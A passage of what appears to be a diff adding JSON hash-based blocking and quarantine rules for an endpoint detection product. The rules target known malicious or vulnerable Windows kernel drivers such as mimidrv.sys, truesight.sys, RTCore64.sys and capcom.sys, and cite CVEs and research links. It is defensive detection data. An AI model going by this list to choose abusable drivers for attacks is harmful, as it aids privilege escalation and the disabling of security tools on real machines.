+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465693Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "82ac05fefaa8c7ee622d11d1a378f1d255b647ab2f3200fd323cc374818a83f2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff4b48ce-f581-5db8-8e6d-1ef95c245b8b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467355Z",
+  "creation_date": "2026-03-23T11:45:30.467359Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467368Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "714ac82a4e2b971f19df9c5cdcc7d7df52ac44ce1bfad675e50122406bed04a2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff50e5fb-13b8-5020-8e94-0cfd02d550f3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808811Z",
+  "creation_date": "2026-03-23T11:45:31.808815Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0dc31969cb6816b185b4e3bb3e96b8344be4a31826c5d9a0a65d8411ba7d898",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff54fa68-6bc5-5e95-87d7-64773a1a2b35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469747Z",
+  "creation_date": "2026-03-23T11:45:30.469750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469759Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29d6155c68ff372a475d6fe5bde64caa68794bb4164f7e1aae7da5b744f6e6d2",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff6da08d-5126-57d9-b960-7b403a6518de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818238Z",
+  "creation_date": "2026-03-23T11:45:31.818241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818249Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c96999c48ea74f5631b192f4ce4e64a137e10be4e8d35d68e5199758c2a1dd7c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff6e5dac-ebc3-5044-b75e-973cddfad7c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457187Z",
+  "creation_date": "2026-03-23T11:45:30.457190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89d96210bf36a88acb14086c96e916b790d21b7adf81d0907c823ca2afbe0ce3",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff6ebc2e-387d-59ab-86b6-94d9422242cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818648Z",
+  "creation_date": "2026-03-23T11:45:30.818650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6e714528ad1b9eae72699078499735468140c1627e45f015762206ba7a77b47",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff849d11-b5d2-5733-92e5-ed5b5b4ae4db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810864Z",
+  "creation_date": "2026-03-23T11:45:31.810866Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810883Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "56bc9c2039028f56ed4735492b4dd06e9042a5c8b3abd87055ae6f3ae5ce1d8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff8eef78-9470-58c7-b2a5-19886bed49e4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808613Z",
+  "creation_date": "2026-03-23T11:45:31.808615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97a17e66a5a57f9a605a12b28c1f9c19df376c6b1404403c3b7408c90835c4f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff91ea5b-d69a-5ce6-95ce-1dde42bd504f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612474Z",
+  "creation_date": "2026-03-23T11:45:29.612476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ff8bcc7f938ec71ee33fbe089d38e40a8190603558d4765c47b1b09e1dd764a",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff92cf25-74f6-53f9-810e-9e79c1b2d121",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142682Z",
+  "creation_date": "2026-03-23T11:45:31.142684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1427fc96e7fc1ece542fa47154ce48504dd0b894289e3840037c4e5f94c587d4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff93b0c8-1de4-50f4-913a-89cffcbbf120",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615954Z",
+  "creation_date": "2026-03-23T11:45:29.615956Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615962Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee15f36881b84a2da82fee37e8ad65e47f1224e64d1d6fe43f7a5ad2efe92f5d",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff97cfe3-92c8-5380-bdab-4c038330e5ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818842Z",
+  "creation_date": "2026-03-23T11:45:30.818844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818850Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa4be68f1ea1e36aca95fd62b6727cf9d22886c2612391faeb9c56a1c62c2ec9",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff9b03e0-9bd2-5400-9c63-47c3f3ef8f19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492196Z",
+  "creation_date": "2026-03-23T11:45:31.492198Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492204Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a832a08b2b26733b0b4263f27457ca0b8ab9c7451eb082957ea54f5404dc6ac8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ff9b7e8a-404e-56ea-adb3-b4e32c5d6c99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980918Z",
+  "creation_date": "2026-03-23T11:45:29.980919Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980925Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7bba82777c9912e6a728c3e873c5a8fd3546982e0d5fa88e64b3e2122f9bc3b",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffa30052-3e61-5e4f-90c3-9f19529f6670",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479811Z",
+  "creation_date": "2026-03-23T11:45:30.479812Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479818Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2562e0101cb39906c73b96fc15a6e6e3edd710b19858f6bbd0c90f1561b6038",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffa6b26f-4ad2-54b9-9195-4e207ad7783b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825664Z",
+  "creation_date": "2026-03-23T11:45:31.825666Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb80778406fd8002b361bbcba3b20a36c36994c3c3f0de80bf83f566cf5f897b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffab4dd8-97ec-58a1-8226-d235b0be3186",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146259Z",
+  "creation_date": "2026-03-23T11:45:31.146261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f77cb6e917aa001b995d40e33368e33ac666b1ac0523cf7c8a1f86bb95948fb3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffc01bb1-7d0b-5e60-8d34-39cf0f99ecc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611096Z",
+  "creation_date": "2026-03-23T11:45:29.611098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e423caaff9002b38e1d90005df181aa2b3711ebbf6d1eb83941656ccc313811",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffce4a39-7dcb-5f7d-8bc8-a767df6c5eda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460920Z",
+  "creation_date": "2026-03-23T11:45:30.460923Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6c05b10a5c090b743a61fa225b09e390e2dd2bd6cb4fd96b987f1e0d3f2124a",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffe0b548-ab82-55ae-981e-2371fa2228b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614523Z",
+  "creation_date": "2026-03-23T11:45:29.614525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ffecf71a-e24b-5d1a-9ee6-20cec15f1657",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490155Z",
+  "creation_date": "2026-03-23T11:45:31.490157Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490163Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2580bdb0cc7653417276370992f103a0b1c8a38642eedd0feebd4c1f80aec21a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fffac2a2-4dcb-550d-b78f-019c96dbeac6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836244Z",
+  "creation_date": "2026-03-23T11:45:30.836246Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
